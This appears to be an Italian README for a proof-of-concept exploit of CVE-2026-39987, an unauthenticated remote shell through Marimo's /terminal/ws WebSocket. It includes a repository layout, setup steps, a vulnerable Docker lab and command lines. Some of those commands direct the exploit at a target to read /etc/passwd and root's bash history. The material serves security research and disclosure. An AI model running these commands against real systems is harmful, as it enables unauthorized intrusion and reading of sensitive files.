
CVE-2026-39987
Esecuzione Remota di Codice Non Autenticata in Marimo tramite Terminale WebSocket
CVE-2026-39987 è una vulnerabilità critica di Esecuzione Remota di Codice Pre-Autenticazione che interessa le versioni di Marimo precedenti alla 0.23.0. L'endpoint WebSocket /terminal/ws bypassa completamente l'autenticazione, consentendo a qualsiasi utente non autenticato di ottenere una shell PTY interattiva completa con i privilegi del processo Marimo (tipicamente root in ambienti Docker).
marimo < 0.23.0marimo >= 0.23.0/terminal/wshttp:// → ws:// e https:// → wss://CVE-2026-39987/
├── CVE-2026-39987-poc.py ← Main Exploit
├── docker-vulnerable/
│ ├── Dockerfile
│ └── docker-compose.yml
├── notebooks/ ← Persistent notebooks (optional)
├── README.md
└── LICENSE
pip install websocket-client
# Basic usage
python3 CVE-2026-39987-poc.py http://localhost:2718 "id && whoami && hostname"
# System enumeration
python3 CVE-2026-39987-poc.py http://localhost:2718 "id && whoami && cat /etc/os-release && ls -la /app"
# Read sensitive files
python3 CVE-2026-39987-poc.py http://target:2718 "cat /etc/passwd && cat /root/.bash_history"
cd docker-vulnerable
docker compose up --build -d
Quindi testa:
python3 CVE-2026-39987-poc.py http://localhost:2718 "id && whoami"
marimo >= 0.23.0/terminal/ws tramite firewall o regole del proxyQuesto Proof of Concept è inteso esclusivamente per scopi educativi e test di sicurezza autorizzati. L'autore non è responsabile per qualsiasi uso improprio o danno causato da questo strumento. Assicurati di avere il permesso esplicito prima di testare qualsiasi sistema.
Usa eticamente e responsabilmente.
Realizzato per ricerca sulla sicurezza e divulgazione responsabile.